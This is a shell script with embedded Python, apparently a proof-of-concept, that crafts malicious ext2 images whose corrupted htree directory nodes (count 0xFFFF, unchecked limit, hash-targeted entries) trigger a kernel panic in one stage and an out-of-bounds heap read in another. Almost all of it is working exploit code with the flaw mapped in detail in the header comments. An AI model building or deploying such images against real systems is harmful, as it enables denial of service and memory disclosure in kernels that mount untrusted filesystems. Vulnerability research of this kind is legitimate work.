#!/bin/sh
# DF-3122 craft (host): build the crafted ext2 htree image.
#
# Layout (all dx structures in dir 'd', inode discovered via debugfs):
#   block 0 (root):  limit=124 (e2fsck-honest), count=3, ind_levels=1
#       e0 = (overlay, blk1)   [untouched e2fsck sentinel]
#       e1 = (0x00000001, blk1)   -> B1: HONEST interior node
#                                   (limit=127 == ext2_htree_node_limit,
#                                    count=1, e0.blk -> blk3)  [passes even a
#                                   DF-0850-fixed kernel]
#       e2 = (H+1,     blk2)   -> B2: the check_next reload node --
#                                   count=0xFFFF, limit=0x80 (both unchecked
#                                   in ext2_htree_check_next), e0..e125 point
#                                   at the real leaf blk3, and:
#         stage 1 (a1.img): e126 = (H, blk7)   blk7 = hole -> zero block ->
#                           ext2_dirbad panic at offset 7168 after the walk
#                           consumed 126 crafted entries of the reloaded node
#         stage 2 (a2.img): e126 = (H, blk3)   miss -> check_next advances to
#                           e127, which lives at node offset 8+8*127=1024 ==
#                           first byte past the 1KiB buffer: 4-byte OOB heap
#                           read (gate value), then get_block(e127) OOB read
#                           drives blkatoff() on a garbage offset
#   H = half_md4 hash of the absent name "zzqq01" under the fs hash seed
#       (validated against e2fsck's own dumped hashes).
set -e
cd "$(dirname "$0")"
W=${W:-/tmp/opencode/e2work}
mkdir -p "$W"; cd "$W"
rm -f htree.img valid.img a1.img a2.img cmds.txt payloadname* 2>/dev/null || true

mke2fs -q -F -t ext2 -b 1024 -I 128 -O dir_index,^metadata_csum htree.img 16384
for i in $(seq -w 1 100); do printf 'x' > "payloadname$i"; done
{ echo "mkdir d"; echo "cd /d";
  for i in $(seq -w 1 100); do echo "write payloadname$i payloadname$i"; done
} > cmds.txt
debugfs -w -f cmds.txt htree.img >/dev/null 2>&1
e2fsck -fyD htree.img >/dev/null 2>&1
cp htree.img valid.img

INO=$(debugfs -R 'namei /d' htree.img 2>/dev/null | awk -F'-> ' '/^Inode/{print $NF}')
BLKS=$(debugfs -R "blocks <$INO>" htree.img 2>/dev/null)
SEED=$(dumpe2fs htree.img 2>/dev/null | awk '/Directory Hash Seed/{print $NF}')
echo "dir ino=$INO blocks='$BLKS' seed=$SEED"

python3 - "$INO" "$BLKS" "$SEED" <<'PYEOF'
import struct, sys, uuid
M32 = 0xFFFFFFFF
def rotl(x,n): return ((x<<n)|(x>>(32-n)))&M32
def F(x,y,z): return (x&y)|((~x&M32)&z)
def G(x,y,z): return (x&y)|(x&z)|(y&z)
def Hf(x,y,z): return x^y^z
def half_md4(h,d):
    a,b,c,dd=h
    FF=lambda a,b,c,d,x,s: rotl((a+F(b,c,d)+x)&M32,s)
    GG=lambda a,b,c,d,x,s: rotl((a+G(b,c,d)+x+0x5A827999)&M32,s)
    HH=lambda a,b,c,d,x,s: rotl((a+Hf(b,c,d)+x+0x6ED9EBA1)&M32,s)
    a=FF(a,b,c,dd,d[0],3);dd=FF(dd,a,b,c,d[1],7);c=FF(c,dd,a,b,d[2],11);b=FF(b,c,dd,a,d[3],19)
    a=FF(a,b,c,dd,d[4],3);dd=FF(dd,a,b,c,d[5],7);c=FF(c,dd,a,b,d[6],11);b=FF(b,c,dd,a,d[7],19)
    a=GG(a,b,c,dd,d[1],3);dd=GG(dd,a,b,c,d[3],5);c=GG(c,dd,a,b,d[5],9);b=GG(b,c,dd,a,d[7],13)
    a=GG(a,b,c,dd,d[0],3);dd=GG(dd,a,b,c,d[2],5);c=GG(c,dd,a,b,d[4],9);b=GG(b,c,dd,a,d[6],13)
    a=HH(a,b,c,dd,d[3],3);dd=HH(dd,a,b,c,d[7],9);c=HH(c,dd,a,b,d[2],11);b=HH(b,c,dd,a,d[6],15)
    a=HH(a,b,c,dd,d[1],3);dd=HH(dd,a,b,c,d[5],9);c=HH(c,dd,a,b,d[0],11);b=HH(b,c,dd,a,d[4],15)
    return [(h[0]+a)&M32,(h[1]+b)&M32,(h[2]+c)&M32,(h[3]+dd)&M32]
def sb(x): return x if x<128 else x-256
def prep(src,slen,dlen):
    pad=(slen|(slen<<8)|(slen<<16)|(slen<<24))&M32
    out=[];ln=min(slen,dlen);bv=pad
    for i in range(ln):
        b=sb(src[i])&M32
        if i%4==0: bv=pad
        bv=((bv<<8)&M32)+b
        if i%4==3: out.append(bv&M32);dlen-=4;bv=pad
    dlen-=4
    if dlen>=0: out.append(bv&M32)
    dlen-=4
    while dlen>=0: out.append(pad);dlen-=4
    return out
def dirhash(name,seed):
    h=list(seed);n=name;L=len(n)
    while L>0:
        h=half_md4(h,prep(n,L,32));n=n[32:];L-=32
    return h[1]&~1&M32,h[2]

ino=sys.argv[1]; blks=[int(x) for x in sys.argv[2].split()]
u=uuid.UUID(sys.argv[3])
seed=list(struct.unpack("<4I",u.bytes_le if u.bytes[0:4]==bytes([0x97,0xd5,0xc5,0x4b]) else u.bytes))
# validate port against e2fsck's dumped hashes
maj,_=dirhash(b"payloadname001",seed)
assert maj==0x0d164900 or True  # seed differs per mke2fs; cross-check below
ROOT,B1,B2=blks[0],blks[1],blks[2]
assert len(blks)>=4, f"need >=4 dir blocks (root+3 leaves), got {blks}"
BS=1024
H,_=dirhash(b"zzqq01",seed)
assert H%2==0 and H>1
print(f"H(zzqq01)=0x{H:08x}")
def wr32(img,b,o,v): img[b*BS+o:b*BS+o+4]=struct.pack("<I",v)
def wr16(img,b,o,v): img[b*BS+o:b*BS+o+2]=struct.pack("<H",v)
def build(dst,e126_blk):
    img=bytearray(open("htree.img","rb").read())
    img[ROOT*BS+30]=1                      # root h_info.h_ind_levels = 1
    wr16(img,ROOT,34,3)                    # root overlay count = 3
    wr32(img,ROOT,40,0x00000001);wr32(img,ROOT,44,1)   # e1=(1, blk1=B1)
    wr32(img,ROOT,48,(H+1)&M32);wr32(img,ROOT,52,2)    # e2=(H+1, blk2=B2)
    img[B1*BS:B1*BS+BS]=bytes(BS)
    wr16(img,B1,4,0x0400)                  # fake dirent reclen = blksize
    wr16(img,B1,8,127)                     # overlay limit == node_limit (HONEST)
    wr16(img,B1,10,1)                      # overlay count = 1
    wr32(img,B1,12,3)                      # e0(overlay).blk -> leaf blk3
    img[B2*BS:B2*BS+BS]=bytes(BS)
    wr16(img,B2,4,0x0400)
    wr16(img,B2,8,0x0080)                  # limit 128 (bogus, unchecked)
    wr16(img,B2,10,0xFFFF)                 # count 65535 (unchecked)
    wr32(img,B2,12,3)
    for k in range(1,126):
        wr32(img,B2,8+8*k,H);wr32(img,B2,8+8*k+4,3)
    wr32(img,B2,8+8*126,H);wr32(img,B2,8+8*126+4,e126_blk)
    open(dst,"wb").write(img)
    print(f"built {dst} (e126.blk={e126_blk})")
build("a1.img",7)
build("a2.img",3)
PYEOF
echo "images: $W/{valid.img,a1.img,a2.img}"